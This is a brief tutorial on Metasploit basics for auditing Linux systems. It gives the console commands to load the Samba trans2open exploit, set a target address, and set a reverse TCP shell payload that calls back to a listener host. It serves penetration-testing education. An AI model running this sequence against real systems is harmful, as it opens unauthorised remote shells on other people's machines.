Metasploit Basics: Auditing Vulnerable Linux Systems

The Metasploit Framework is a powerful penetration testing platform used to verify exploit severity during network audits. This brief covers standard console workflows.

1. Framework Architecture

• Exploits: Code modules that take advantage of specific system vulnerabilities.
• Payloads: Code that runs on target systems after exploitation (e.g., shell terminal access).
• Auxiliary: Scanners, sniffers, and validation utilities that do not run exploits.

2. Standard MSF Workflow

Launch the console in your terminal:

msfconsole

Search for an exploit module (e.g., outdated Samba service vulnerability):

search trans2open

Select the module to configure:

use exploit/linux/samba/trans2open

Set target IP parameters (RHOSTS) and payload options:

set RHOSTS 192.168.1.50
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST 192.168.1.20

Execute the audit module:

exploit

Security Best Practice: Keep all operating system packages updated using standard managers (like apt or yum) and disable unnecessary public network services.